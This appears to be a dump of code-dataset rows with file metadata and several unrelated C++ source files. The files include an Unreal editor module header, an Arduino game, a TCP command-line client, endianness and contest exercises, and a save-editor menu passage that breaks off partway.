blob_id
stringlengths 40
40
| directory_id
stringlengths 40
40
| path
stringlengths 2
247
| content_id
stringlengths 40
40
| detected_licenses
listlengths 0
57
| license_type
stringclasses 2
values | repo_name
stringlengths 4
111
| snapshot_id
stringlengths 40
40
| revision_id
stringlengths 40
40
| branch_name
stringlengths 4
58
| visit_date
timestamp[ns]date 2015-07-25 18:16:41
2023-09-06 10:45:08
| revision_date
timestamp[ns]date 1970-01-14 14:03:36
2023-09-06 06:22:19
| committer_date
timestamp[ns]date 1970-01-14 14:03:36
2023-09-06 06:22:19
| github_id
int64 3.89k
689M
⌀ | star_events_count
int64 0
209k
| fork_events_count
int64 0
110k
| gha_license_id
stringclasses 25
values | gha_event_created_at
timestamp[ns]date 2012-06-07 00:51:45
2023-09-14 21:58:52
⌀ | gha_created_at
timestamp[ns]date 2008-03-27 23:40:48
2023-08-24 19:49:39
⌀ | gha_language
stringclasses 159
values | src_encoding
stringclasses 34
values | language
stringclasses 1
value | is_vendor
bool 1
class | is_generated
bool 2
classes | length_bytes
int64 7
10.5M
| extension
stringclasses 111
values | filename
stringlengths 1
195
| text
stringlengths 7
10.5M
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
84451056c0a5b5e849e341536d930908c6032345
|
6d8a4587a1819f2516c980d366d33527c9a54f85
|
/Source/Editor/SkillSystemEditor/Public/SkillSystemEditor.h
|
45c031fc9743960bae45cc4259c1fc066dba6359
|
[] |
no_license
|
tsxy2007/SkillSystem
|
cb3bf9bc71acbd4c09b22c24cae11b5ad27afdef
|
6214d63189716680132c9174439b8ae5c101b07b
|
refs/heads/master
| 2020-08-08T21:19:37.483110
| 2020-02-25T12:24:35
| 2020-02-25T12:24:41
| 213,922,321
| 2
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,808
|
h
|
SkillSystemEditor.h
|
#pragma once
#include "CoreMinimal.h"
#include "ModuleManager.h"
#include "SkillGraphTypes.h"
#include "Modules/ModuleInterface.h"
#include "Toolkits/IToolkitHost.h"
#include "Toolkits/AssetEditorToolkit.h"
#include "AssetTypeActions_Base.h"
DECLARE_LOG_CATEGORY_EXTERN(LogSkillEditor, Verbose, All);
/** Module interface for this game's loading screens */
class FSkillSystemEditorModule : public IModuleInterface,
public IHasMenuExtensibility, public IHasToolBarExtensibility
{
public:
/** IModuleInterface implementation */
virtual void StartupModule() override;
virtual void ShutdownModule() override;
virtual TSharedPtr<FExtensibilityManager> GetMenuExtensibilityManager()override { return MenuExtensibilityManager; }
virtual TSharedPtr<FExtensibilityManager> GetToolBarExtensibilityManager()override { return ToolBarExtensibilityManager; }
TSharedPtr<struct FSkillGraphNodeClassHelper> GetClassCache() { return ClassCache; }
static FSkillSystemEditorModule& Get()
{
return FModuleManager::LoadModuleChecked< FSkillSystemEditorModule >("SkillSystemEditor");
}
TSharedRef<class FSkillEditor> CreateSkillSystemEditor(EToolkitMode::Type Mode,TSharedPtr<class IToolkitHost> InEditWithinLevelEditor,UObject* InSkill);
#if WITH_EDITOR
virtual EAssetTypeCategories::Type GetSkillAssetCategoryBit() const { return SkillAssetCategoryBit; }
protected:
EAssetTypeCategories::Type SkillAssetCategoryBit;
#endif
private:
TSharedPtr<FExtensibilityManager> MenuExtensibilityManager;
TSharedPtr<FExtensibilityManager> ToolBarExtensibilityManager;
TArray<TSharedPtr<class FAssetTypeActions_Base>> ItemDataAssetTypeActions;
//TSharedPtr< FSkillEditor > NewSkillTreeEditor;
TSharedPtr<struct FSkillGraphNodeClassHelper> ClassCache;
public:
static const FName SkillTreeEditorAppIdentifier;
};
|
ddb3ae58340359411bd9153d483dfc1b2146f874
|
8f1f612f6e8fc99a315947ce89f437b2dfa5cc8d
|
/micro/shootingStars.cpp
|
6b95840d85e9c15d91e1afced80fbd620d8c4b5e
|
[] |
no_license
|
rafarubim/microcontroladores
|
ef1cc22a1fc5053c535d651b8483fd0e94d10cce
|
b9bc55fbf04f61710427d2eded051515363e3662
|
refs/heads/master
| 2020-06-06T06:55:42.060604
| 2019-07-11T01:17:03
| 2019-07-11T01:17:03
| 192,671,168
| 2
| 1
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 7,070
|
cpp
|
shootingStars.cpp
|
#include "Lcd.hpp"
#include "Animation.hpp"
#include "Graphics.hpp"
#include <arduino.h>
#include "Pos.h"
#include "music.h"
#include <GFButton.h>
#include "Highscore.hpp"
#include "StateMachine.hpp"
#define WALL_AMOUNT 3
static Note shootingstars[] = {{Dsharp5, 1500 / 2, 375 / 2}, {Dsharp5, 250 / 2, 250 / 2}, {E5, 500 / 2, 375 / 2}, {B4, 500 / 2, 0}, {Gsharp4, 250 / 2, 50 / 2},
{Dsharp5, 1500 / 2, 375 / 2}, {Dsharp5, 250 / 2, 250 / 2}, {E5, 500 / 2, 375 / 2}, {B4, 500 / 2, 0}, {Gsharp4, 250 / 2, 50 / 2},
{Dsharp5, 1500 / 2, 375 / 2}, {Dsharp5, 250 / 2, 250 / 2}, {E5, 500 / 2, 375 / 2}, {B4, 500 / 2, 0}, {Gsharp4, 250 / 2, 50 / 2},
{Dsharp5, 1500 / 2, 375 / 2}, {Dsharp5, 250 / 2, 250 / 2}, {E5, 500 / 2, 375 / 2}, {B4, 500 / 2, 0}, {Gsharp4, 250 / 2, 50 / 2},
{Dsharp5, 1500 / 2, 375 / 2}, {Dsharp5, 250 / 2, 250 / 2}, {E5, 500 / 2, 375 / 2}, {B4, 500 / 2, 0}, {Gsharp4, 250 / 2, 50 / 2},
{Dsharp5, 1500 / 2, 375 / 2}, {Dsharp5, 250 / 2, 250 / 2}, {E5, 500 / 2, 375 / 2}, {B4, 500 / 2, 0}, {Gsharp4, 250 / 2, 50 / 2},
{Dsharp5, 1500 / 2, 375 / 2}, {Dsharp5, 250 / 2, 250 / 2}, {E5, 500 / 2, 375 / 2}, {B4, 500 / 2, 0}, {Gsharp4, 250 / 2, 50 / 2},
{Dsharp5, 1500 / 2, 375 / 2}, {Dsharp5, 250 / 2, 250 / 2}, {E5, 500 / 2, 375 / 2}, {Dsharp5, 500 / 2, 0}, {B4, 500 / 2, 0}, {Gsharp4, 250 / 2, 50 / 2},
{Fsharp5, 1500 / 2, 375 / 2}, {Fsharp5, 250 / 2, 250 / 2}, {Gsharp5, 500 / 2, 375 / 2}, {Dsharp5, 500 / 2, 0}, {B4, 250 / 2, 50 / 2},
{Fsharp5, 1500 / 2, 375 / 2}, {Fsharp5, 250 / 2, 250 / 2}, {Gsharp5, 500 / 2, 375 / 2}, {Dsharp5, 500 / 2, 0}, {B4, 250 / 2, 50 / 2},
{Fsharp5, 1500 / 2, 375 / 2}, {Fsharp5, 250 / 2, 250 / 2}, {Gsharp5, 500 / 2, 375 / 2}, {Dsharp5, 500 / 2, 0}, {B4, 250 / 2, 50 / 2},
{Fsharp5, 1500 / 2, 375 / 2}, {Fsharp5, 250 / 2, 250 / 2}, {Gsharp5, 500 / 2, 375 / 2}, {Dsharp5, 500 / 2, 0}, {B4, 250 / 2, 50 / 2},
{Fsharp5, 1500 / 2, 375 / 2}, {Fsharp5, 250 / 2, 250 / 2}, {Gsharp5, 500 / 2, 375 / 2}, {Dsharp5, 500 / 2, 0}, {B4, 250 / 2, 50 / 2},
{Fsharp5, 1500 / 2, 375 / 2}, {Fsharp5, 250 / 2, 250 / 2}, {Gsharp5, 500 / 2, 375 / 2}, {Dsharp5, 500 / 2, 0}, {B4, 250 / 2, 50 / 2},
{Fsharp5, 1500 / 2, 375 / 2}, {Fsharp5, 250 / 2, 250 / 2}, {Gsharp5, 500 / 2, 375 / 2}, {Dsharp5, 500 / 2, 0}, {B4, 250 / 2, 50 / 2},
{Fsharp5, 1500 / 2, 375 / 2}, {Fsharp5, 250 / 2, 250 / 2}, {Gsharp5, 500 / 2, 375 / 2}, {Fsharp5, 500 / 2, 0}, {Dsharp5, 500 / 2, 0}, {B4, 250 / 2, 50 / 2}
};
static const char* Menu[] = {
" ______ ______ ____ ___________ _______ _____________ ___ ____",
" / __/ // / __ |/ __ |/_ __/ _/ |/ / ___/ / __/_ __/ _ | / _ |/ __/",
" _| |/ _ / /_/ / /_/ / / / _/ // / (_ / _| | / / / __ |/ , _/| | ",
"/___/_//_/|____/|____/ /_/ /___/_/|_/|___/ /___/ /_/ /_/ |_/_/|_/___/ "
};
static byte STAR[8] = {
0b00000,
0b00100,
0b00100,
0b11111,
0b01110,
0b01010,
0b10001,
0b00000
};
static const int buttonPin = A0;
static int buttonState = 0;
static unsigned long previousMillis = 0;
static byte WALL[8] = {
0b11111,
0b11111,
0b11111,
0b11111,
0b11111,
0b11111,
0b11111,
0b11111
};
//static byte WALL = 0xff;
static unsigned long score;
static unsigned long initial;
static int STARSize = 6;
static int maxY = 34;
static int minY = 0 + STARSize;
static int maxRow = 3;
static bool playing = false;
static double velocityY = 0;
static double gravity = 80;
static double positionY = 17;
static double positionX = 0;
static unsigned long time_flag = 0;
static double moment;
static bool outputTone = false;
static int currentNote = -1;
static const int toneGround = 6;
static const int tonePin = A7;
struct Wall {
int x;
int gap;
Wall(int x, int gap): x(x), gap(gap) {}
};
static Wall walls[WALL_AMOUNT] = {Wall(7, random(0, 4)), Wall(12, random(0, 4)), Wall(17, random(0, 4))};
void startGame() {
Lcd& lcd = Lcd::getInstance();
lcd.clear();
velocityY = 0;
positionX = 0;
positionY = 17;
for ( int scroll = 0; scroll < 26; scroll++) {
for ( int i = 0; i < 4; i++ ) {
for ( int j = scroll; j < (20 + scroll); j++) {
lcd.stamp(Menu[i][j + scroll], j - scroll, i);
}
}
delay(200);
}
lcd.clear();
lcd.setCursor(1, 1);
lcd.print("Pressione o botao");
lcd.setCursor(4, 2);
lcd.print("para jogar");
for (;;) {
buttonState = digitalRead(buttonPin);
if (buttonState == HIGH) {
initial = millis();
playing = !playing;
return;
}
}
}
void drawWall(Wall& wall) {
// Graphics& graphics = Graphics::getInstance();
Lcd& lcd = Lcd::getInstance();
for ( int y = 0; y < 5; y++ ) {
if ( y != wall.gap ) {
// graphics.stamp(char(WALL), WALL, Pos(floor(wall.x), y));
lcd.stamp((char)0xff, floor(wall.x), y);
}
}
}
static void jump() {
velocityY = -36;
}
static void Update(float moment, Graphics& graphics) {
if ((int)positionX >= 119) {
graphics.flushScreen();
walls[0] = Wall(7, random(0, 4));
walls[1] = Wall(12, random(0, 4));
walls[2] = Wall(17, random(0, 4));
positionX = 0;
}
positionX += 20 * moment;
velocityY += gravity * moment;
positionY += velocityY * moment;
if ( positionY >= maxY ) {
positionY = maxY;
} else if ( positionY < minY ) {
positionY = minY;
}
}
static bool checkCollision(Wall walls[]) {
static double cX = positionX + 2.5;
static double cY = positionY - 3.5;
static double radius = 2;
for (int i = 0; i < WALL_AMOUNT; i++) {
if ( ( (int)(positionX / 6) == (int)walls[i].x )) {
if ( (int)(((positionY-STARSize/2) / 9) + 1) != ((int)walls[i].gap + 1) ){
return true;
}
}
}
return false;
}
void shootingStarsSetup()
{
Serial.begin(9600);
randomSeed(analogRead(0));
pinMode(buttonPin, INPUT);
pinMode(toneGround, OUTPUT);
digitalWrite(toneGround, LOW);
pinMode(tonePin, OUTPUT);
}
unsigned long shootingStarsLoop()
{
Lcd& lcd = Lcd::getInstance();
Graphics graphics = Graphics::getInstance();
if ( playing ) {
if ( checkCollision(walls) ) {
lcd.clear();
score = ((millis() - initial) / 1000);
// Jogador jogador = {"", (float)score};
velocityY = 0;
positionX = 0;
positionY = 17;
playing = !playing;
Jogador jogador;
jogador.pontos = score;
if (isPlayerRecordist(SHOOTING_STARS_TABLE, jogador)) {
changeState(ADD_RECORD);
setupGetPlayerName(SHOOTING_STARS_TABLE, score);
return;
} else {
changeState(MENU);
}
// return jogador;
}
moment = (millis() - time_flag) / 1000.;
Update(moment, graphics);
graphics.draw(STAR, Pos(floor(positionX), floor(positionY)));
buttonState = digitalRead(buttonPin);
if (buttonState == HIGH) {
jump();
}
for (int i = 0; i < WALL_AMOUNT; i++) {
drawWall(walls[i]);
}
}
else {
startGame();
}
time_flag = millis();
previousMillis = play(shootingstars, (sizeof(shootingstars) / sizeof(Note)) - 1 , previousMillis, currentNote, outputTone, tonePin);
graphics.processGraphics();
}
|
3d88813a80d78a0a7df7a62fcee37a76ec529cbf
|
4166fb27eb810e9dd6b94220f484e99ec977a08f
|
/cli_tcp.cpp
|
b18050676ff69688c5f8fe33f15d0f869f40c502
|
[] |
no_license
|
alamasm/ClusterAnalyzer
|
8dcdcef1add508238355a35e9daecc2f67b87fbf
|
39247a0d4641a3e6c6ba4cd9b66be5e6da622a2c
|
refs/heads/master
| 2020-08-31T18:58:50.960626
| 2020-06-01T14:07:48
| 2020-06-01T14:07:48
| 218,760,805
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,553
|
cpp
|
cli_tcp.cpp
|
#include <iostream>
#include <fstream>
#include <sys/types.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <string.h>
#include <string>
#include <queue>
using namespace std;
int main()
{
// Create a socket
int sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock == -1)
{
return 1;
}
// Create a hint structure for the server we're connecting with
int port = 5555;
string ipAddress = "127.0.0.1";
sockaddr_in hint;
hint.sin_family = AF_INET;
hint.sin_port = htons(port);
inet_pton(AF_INET, ipAddress.c_str(), &hint.sin_addr);
// Connect to the server on the socket
int connectRes = connect(sock, (sockaddr*)&hint, sizeof(hint));
if (connectRes == -1)
{
return 1;
}
// While loop:
char buf[4096];
string userInput;
queue <string> commands;
do {
// Enter lines of text
cout << "-> ";
if (commands.empty()) {
getline(cin, userInput);
commands.push(userInput);
}
else {
cout << commands.front() << endl;
}
userInput = commands.front();
commands.pop();
//
string temp = userInput;
vector <string> tokens;
int words = 0;
size_t pos = 0;
while ((pos = temp.find(" ")) != string::npos) {
tokens.push_back(temp.substr(0, pos));
words++;
temp.erase(0, pos + 1);
}
tokens.push_back(temp);
words++;
if (tokens[0] == "run" && words >= 2) {
ifstream file (tokens[1]);
while (!file.eof()) {
getline(file, temp);
commands.push(temp);
}
continue;
}
// Send to server
int sendRes = send(sock, userInput.c_str(), userInput.size() + 1, 0);
if (sendRes == -1)
{
cout << "Could not send to server! Whoops!" << endl;
continue;
}
// Wait for response
int bytesReceived = recv(sock, buf, 4096, 0);
if (bytesReceived == -1)
{
cout << "There was an error getting response from server" << endl;
}
else
{
// Display response
cout << "SERVER: " << string(buf);
if (bytesReceived == 1)
cout << "ok" << endl;
}
} while(true);
// Close the socket
close(sock);
return 0;
}
|
f02a24c567d1db9c333137f4120ff8f5f7d73dce
|
9112d26b23797bb934e0a97c0efedded02f23f03
|
/main.cpp
|
246df75eab65cad778330183271683c8b9507fbf
|
[] |
no_license
|
Khamekaze/Endians-Cpp
|
b5ff7d6effad768c410077b6da2dcc7fc68c3d2f
|
bfafe26e5ada1ec81d8e5b37e4b9d4bceb7448a6
|
refs/heads/main
| 2023-08-26T09:03:59.742852
| 2021-10-15T06:28:23
| 2021-10-15T06:28:23
| 417,071,286
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 3,319
|
cpp
|
main.cpp
|
#include <iostream>
#include <fstream>
#include <string>
#include <time.h>
#include <bitset>
using namespace std;
void generateInputFile() {
ofstream outfile("generated_numbers.txt");
int min = 1;
int max = 65535;
srand(time(NULL));
for(int i = 0; i < 10; i++) {
int output = min + (rand() % static_cast<int>(max - min + 1));
outfile << output << endl;
}
outfile.close();
}
template <typename T>
string bin_str8(T n) {
bitset<8> bs(n);
return bs.to_string();
}
string bin_str16(unsigned short value) {
string result = "";
int count = 0;
for(int i = 1; i < 32769; i*=2) {
if((value & i) == i) {
result = "1" + result;
}
else {
result = "0" + result;
}
if(++count % 4 == 0 && count < 16) {
result = " " + result;
}
}
return result;
}
unsigned short toLittleEndian(unsigned short input) {
return (input >> 8) | (input << 8);
}
unsigned char middleByte(unsigned short input) {
unsigned char c = (input >> 4);
return c;
}
void writeLittleEndian(ofstream& stream, unsigned short input) {
stream << input << " | Binary: " << bin_str16(input) << endl;
}
void writeMiddleBytes(ofstream& stream, unsigned char c) {
stream << "Char value: " << (int) c << " | Binary: " << bin_str8(c) << endl;
}
int main() {
//Generate file with random numbers
generateInputFile();
//Read input file and create/open output files
ifstream inputFile("generated_numbers.txt");
ofstream littleEndiansFile("little_endians.txt");
ofstream swappedBytesFile("middle_bytes.txt");
//Check if inputfile is readable
if(inputFile.is_open()) {
string line;
while(getline(inputFile, line)) {
//Get the current line we are reading in the input file and convert to unsigned short
unsigned short currentNum = (unsigned short) strtoul(line.c_str(), NULL, 0);
//Swap the bytes
unsigned short swappedBytesShort = toLittleEndian(currentNum);
//Get the middle byte of the byte-swapped short
unsigned char middleByteChar = middleByte(swappedBytesShort);
//Write the byte-swapped number to little endian output file
writeLittleEndian(littleEndiansFile, swappedBytesShort);
//Write the extracted middle byte as decimal and binary to
//middle bytes output file
writeMiddleBytes(swappedBytesFile, middleByteChar);
}
//Close files, zip coffee
littleEndiansFile.close();
swappedBytesFile.close();
inputFile.close();
}
/* Testing with known value without writing or reading file
* Zombie code from testing process, would remove in real case
*
// unsigned short testVal = 12549;
// cout << "Original bytes: " << bin_str16(testVal) << endl;
// unsigned short swapVal = toLittleEndian(testVal);
// cout << "Swapped bytes: " << bin_str16(swapVal) << endl;
// unsigned char middleByteChar = middleByte(swapVal);
// cout << middleByteChar << endl;
// cout << "Middle bytes: " << bin_str16(middleByteChar) << endl;
// cout << "Middle bytes val: " << (int) middleByteChar << endl;
*/
return 0;
}
|
0fad348c65032628bdc13172f77c2312549a24db
|
832c45ae5979dbcf4e07bc3b096e076d4d2d83e7
|
/20170115 - FBHC 2017/beach_umbrellas.cpp
|
01b6d812d2c920e19d9162a27866592522218c00
|
[] |
no_license
|
personaluser01/Algorithm-problems
|
9e62da04724a6f4a71c10d0d3f0459bc926da594
|
9e2ad4571660711cdbed0402969d0cb74d6e4792
|
refs/heads/master
| 2021-01-03T12:08:55.749408
| 2018-10-13T10:59:02
| 2018-10-13T10:59:02
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,261
|
cpp
|
beach_umbrellas.cpp
|
#include <bits/stdc++.h>
using namespace std;
const int mod = 1e9+7;
int mul(int x,int v){
if(v < 0) return 0;
if(v == 0) return 1;
int tmp = mul(x,v/2);
if(v&1) return (1ll*tmp*x)%mod;
else return (1ll*tmp*tmp)%mod;
}
vector<int> r;
int F[2222];
int muln[8000888];
int muln_1[8000888];
void run(int numtest){
long long ans = 0;
int n,m;
int sum = 0;
cin >> n >> m;
r.resize(n);
for(int i=0;i < n; i++){
cin >> r[i];
sum += 2*r[i];
}
muln[0]=mul(m,n);
muln_1[0] = mul(m,n-1)
for(int i=1; i <= sum; i++){
muln[i] = (1ll*muln[i-1]*mul(m-i,n)) % mod;
muln_1[i] = (1ll*muln_1[i-1]*mul(m-i,n-1)) % mod;
}
if(n == 1) ans = m;
else{
for(int i=0; i < n ; i++)
for(int j=0; j < n; j++)
if(i != j){
if(m >= sum)
ans = (ans + 1ll*mul(m - sum + r[i] + r[j],n+1)*F[n-2])%mod;
}
}
cout <<"Case #"<<numtest<<": "<<ans<<endl;
}
main(){
freopen("beach_umbrellas.txt","r",stdin);
ios_base::sync_with_stdio(false);
int t;
F[0] = 1;
for(int i=1; i<=2000;i++)
F[i] = (1ll*F[i-1]*i) %mod;
cin >> t;
for(int i=1;i <= t; i++)
run(i);
}
|
465a6e49d73542f30d8499277bb3ee42b24f841d
|
5d83739af703fb400857cecc69aadaf02e07f8d1
|
/Archive2/90/dd8fb81f5c351e/main.cpp
|
d0c5b871f1bb40916994493509cb66abddad5db8
|
[] |
no_license
|
WhiZTiM/coliru
|
3a6c4c0bdac566d1aa1c21818118ba70479b0f40
|
2c72c048846c082f943e6c7f9fa8d94aee76979f
|
refs/heads/master
| 2021-01-01T05:10:33.812560
| 2015-08-24T19:09:22
| 2015-08-24T19:09:22
| 56,789,706
| 3
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 419
|
cpp
|
main.cpp
|
#include <iostream>
#include <limits>
auto a = std::numeric_limits<long>::min();
int main(int ,char**)
{
unsigned int notOne = static_cast<unsigned int>(-1);
std::cerr << notOne << std::endl;
unsigned int one = -static_cast<unsigned int>(-1);
std::cerr << one << std::endl;
unsigned int absMin = static_cast<unsigned int>(std::numeric_limits<int>::min());
std::cerr << absMin << std::endl;
}
|
dbe333e40ca691a644f399c3637ef371db9c9a10
|
eb1db3252e75082352a3b34c4aa880cca1a3d55b
|
/programmers/programmers/skillTree.cpp
|
54f748034b9f68f9918494f5776d42ee94dbac72
|
[] |
no_license
|
gjsld1/AlgorithmStudy
|
65153af303a60061fea40e48fb00420cef067f8c
|
a2698e95c5f3a648f1dcb9e855d9adfaa2f119c7
|
refs/heads/master
| 2021-07-11T15:11:48.541495
| 2020-07-08T07:51:04
| 2020-07-08T07:51:04
| 177,080,222
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,100
|
cpp
|
skillTree.cpp
|
//
// skillTree.cpp
// programmers
//
// Created by 신예지 on 2020/06/11.
// Copyright © 2020 신예지. All rights reserved.
//
#include <iostream>
#include <string>
#include <vector>
#include <map>
using namespace std;
int solution(string skill, vector<string> skill_trees) {
int answer=0;
map<char,int> m;
for(int i=0; i<skill.size(); i++) {
m[skill[i]]=i+1;
}
for(int i=0; i<skill_trees.size(); i++) {
int flag=1, level=1;
for(int j=0; j<skill_trees[i].size(); j++) {
if(skill.find(skill_trees[i][j])!=string::npos) {
if(m[skill_trees[i][j]]!=level) {
flag=0;
break;
}
else level++;
}
}
if(flag==1) answer++;
}
return answer;
}
int main() {
string skill="CBD";
vector<string> skill_trees;
skill_trees.push_back("BACDE");
skill_trees.push_back("CBADF");
skill_trees.push_back("AECB");
skill_trees.push_back("BDA");
cout << solution(skill,skill_trees) << endl;
}
|
53d3fd7367aa4997eda61b68aa595b0253a6766e
|
63c71060f36866bca4ac27304cef6d5755fdc35c
|
/src/VpdParser/GicProcNamevalue.cpp
|
ab0f13cc4f83fae196fb3cc7e37df63269d41c77
|
[] |
no_license
|
15831944/barry_dev
|
bc8441cbfbd4b62fbb42bee3dcb79ff7f5fcaf8a
|
d4a83421458aa28ca293caa7a5567433e9358596
|
refs/heads/master
| 2022-03-24T07:00:26.810732
| 2015-12-22T07:19:58
| 2015-12-22T07:19:58
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 3,892
|
cpp
|
GicProcNamevalue.cpp
|
////////////////////////////////////////////////////////////////////////////
//
// Copyright (C) 2005
// Packet Engineering, Inc. All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification is not permitted unless authorized in writing by a duly
// appointed officer of Packet Engineering, Inc. or its derivatives
//
//
// Modification History:
// Created: 12/14/2008 by Chen Ding
////////////////////////////////////////////////////////////////////////////
#include "VpdParser/GicProcNamevalue.h"
#include "alarm_c/alarm.h"
#include "Book/Book.h"
#include "Debug/Debug.h"
#include "TinyXml/tinyxml.h"
#include "VpdParser/GicUtil.h"
AosGicProcNamevalue::~AosGicProcNamevalue()
{
}
bool
AosGicProcNamevalue::procGic(
const AosBookPtr &book,
TiXmlElement *obj,
TiXmlElement *viewer,
TiXmlElement *editor,
AosXmlRc &errcode,
OmnString &errmsg)
{
// 'obj' is the object to be created based on 'viewer'.
// 'viewer' is pointing to a GIC for the viewer,
// 'editor' is pointing to a GIC for the editor.
// We need to do the following:
// 1. Add an attribute to 'obj'. The attribute name is to be determined
// by the book. The value is determined by 'viewer'.
// 2. Keep the viewer the same, but bind it to the newly created attribute
// 3. Change the editor to Input GIC and bind it to the newly created attribute
//
// 1. Add an attribute to the object
OmnString attr_name = viewer->Attribute("attr_name");
if (attr_name.length() == 0)
{
attr_name = book->getNewAttrName();
}
OmnString value = viewer->Attribute("val_text");
aos_assert_r(value.length() > 0, false);
obj->SetAttribute(attr_name.data(), value.data());
// 2. Keep the viewer the same, but bind it to the attribute
viewer->SetAttribute("val_bind", attr_name.data());
// 3. Change the editor to Input GIC and bind it to the attribute
TiXmlElement *input_gic = createInputGic(editor);
aos_assert_r(input_gic, false);
input_gic->SetAttribute("edt_query", attr_name.data());
TiXmlNode *parent = editor->Parent();
parent->ReplaceChild(editor, *input_gic);
return true;
}
TiXmlElement *
AosGicProcNamevalue::createInputGic(TiXmlElement *nv)
{
// This function creates a new TiXmlElement for the Input GIC
// based on the 'namevale' TiXmlElement. 'namevalue' should
// be a node for Namevalue GIC.
aos_assert_r(nv, 0);
TiXmlElement *input = new TiXmlElement("input");
AosGicUtil::convertAttr(input, nv, "val_maxlength", "edt_maxlength", "-1");
AosGicUtil::convertAttr(input, nv, "val_multiline", "edt_multiline", "false");
AosGicUtil::convertAttr(input, nv, "val_fsize", "edt_fsize", "12");
AosGicUtil::convertAttr(input, nv, "val_fstyle", "edt_fstyle", "plain");
AosGicUtil::convertAttr(input, nv, "ptg_layout", "ptg_layout", "horizontal");
AosGicUtil::convertAttr(input, nv, "ptg_halign", "ptg_halign", "left");
AosGicUtil::convertAttr(input, nv, "ptg_valign", "ptg_valign", "center");
AosGicUtil::convertAttr(input, nv, "ptg_prompt_text","ptg_prompt_text", "");
AosGicUtil::convertAttr(input, nv, "ptg_fsize", "ptg_fsize", "12");
AosGicUtil::convertAttr(input, nv, "ptg_fstyle", "ptg_fstyle", "plain");
AosGicUtil::convertAttr(input, nv, "ptg_spacing", "ptg_spacing", "5");
AosGicUtil::convertAttr(input, nv, "gic_width", "gic_width", "200");
AosGicUtil::convertAttr(input, nv, "gic_height", "gic_height", "25");
AosGicUtil::convertAttr(input, nv, "gic_x", "gic_x", "0");
AosGicUtil::convertAttr(input, nv, "gic_y", "gic_y", "0");
AosGicUtil::convertAttr(input, nv, "gic_topinset", "gic_topinset", "0");
AosGicUtil::convertAttr(input, nv, "gic_leftinset", "gic_leftinset", "0");
AosGicUtil::convertAttr(input, nv, "gic_rightinset","gic_rightinset","0");
AosGicUtil::convertAttr(input, nv, "gic_bottominset","gic_bottominset","0");
return input;
}
|
fc274d4459f9dfa8cdd161e98aba8470bcf9b594
|
0543967d1fcd1ce4d682dbed0866a25b4fef73fd
|
/W9/T3/12.cpp
|
f2d41296a06b02918ce250154d8846bcd624c0d2
|
[] |
no_license
|
Beisenbek/PP12017
|
5e21fab031db8a945eb3fa12aac0db45c7cbb915
|
85a314d47cd067f4ecbbc24df1aa7a1acd37970a
|
refs/heads/master
| 2021-01-19T18:42:22.866838
| 2017-11-25T12:13:24
| 2017-11-25T12:13:24
| 101,155,127
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 268
|
cpp
|
12.cpp
|
#include <iostream>
#include <string>
#include <cmath>
#include <algorithm>
#include <stdio.h>
#include <sstream>
using namespace std;
int main(){
string s("test");
int n = s.size();
char c[n];
s.copy(c,n,0);
c[n] = '\0';
cout << c << endl;
return 0;
}
|
4ab2c4c382b8cd6b09f3bbae66b8a6b70dc2ab2c
|
94a15dc3e12ffaa5d2670f313c2011c900170633
|
/source/editor/gui/EditorMenu.cpp
|
fe19a86d0c6a95a60b7bde567e969dc0b13b5f38
|
[
"MIT"
] |
permissive
|
Slattz/NLTK
|
21c5c4a54c262479f9250c0af627338ffae691b0
|
b4e687c329ac4820a02fd45ce13d8afdddd26ef3
|
refs/heads/master
| 2021-06-04T23:16:38.093563
| 2020-07-19T22:49:08
| 2020-07-19T22:49:08
| 132,379,138
| 26
| 10
|
MIT
| 2018-06-14T07:47:12
| 2018-05-06T21:57:12
|
C++
|
UTF-8
|
C++
| false
| false
| 8,028
|
cpp
|
EditorMenu.cpp
|
#include <3ds.h>
#include <string>
#include <citro2d.h>
#include <algorithm>
#include "CTRFont.hpp"
#include "gfx.h"
#include "save.h"
#include "e_utils.h"
#include "utils.h"
#include "InputManager.h"
#include "imagebutton.h"
#include "menus.h"
#include "core/gui/ConfigMenu.hpp"
#include "core/gui/AboutMenu.hpp"
#include "gui/EditorMenu.hpp"
#include "gui/PlayerMenu.hpp"
#include "gui/AcreMenu.hpp"
#include "gui/ShopsMenu.hpp"
#include "gui/VillagerMenu.hpp"
ImageButton *TownButton = nullptr;
ImageButton *AcreButton = nullptr;
ImageButton *PlayerButton = nullptr;
ImageButton *VillagerButton = nullptr;
ImageButton *PWPButton = nullptr;
ImageButton *IslandButton = nullptr;
ImageButton *MainStreetButton = nullptr;
ImageButton *AboutButton = nullptr;
ImageButton *SaveButton = nullptr;
ImageButton *OptionsButton = nullptr;
ImageButton *GameSelectButton = nullptr;
ImageButton *TownManagerButton = nullptr;
static constexpr float TextSize = 0.6f;
static std::vector<Text *> ButtonText;
static std::vector<Text *> ColumnText;
static int ButtonIcon[] = {TOWN_ICON, ACRES_ICON, PROFILE_ICON, VILLAGERS_ICON,
PWP_ICON, ISLAND_ICON, SHOPS_ICON, ABOUT_ICON};
bool Editor::MainMenu::SaveCheck(void) {
return MsgDisp(top, "Would you like to save changes\nmade to your save?", MsgTypeConfirm);
}
void Editor::MainMenu::Initialize(void) {
TownButton = new ImageButton(15.f, 110.f, 70.f, 55.f, 0, KEY_A | KEY_TOUCH, BUTTON_MAIN, Editor_ss);
AcreButton = new ImageButton(89.f, 110.f, 70.f, 55.f, 0, KEY_A | KEY_TOUCH, BUTTON_MAIN, Editor_ss);
PlayerButton = new ImageButton(163.f, 110.f, 70.f, 55.f, 0, KEY_A | KEY_TOUCH, BUTTON_MAIN, Editor_ss);
VillagerButton = new ImageButton(237.f, 110.f, 70.f, 55.f, 0, KEY_A | KEY_TOUCH, BUTTON_MAIN, Editor_ss);
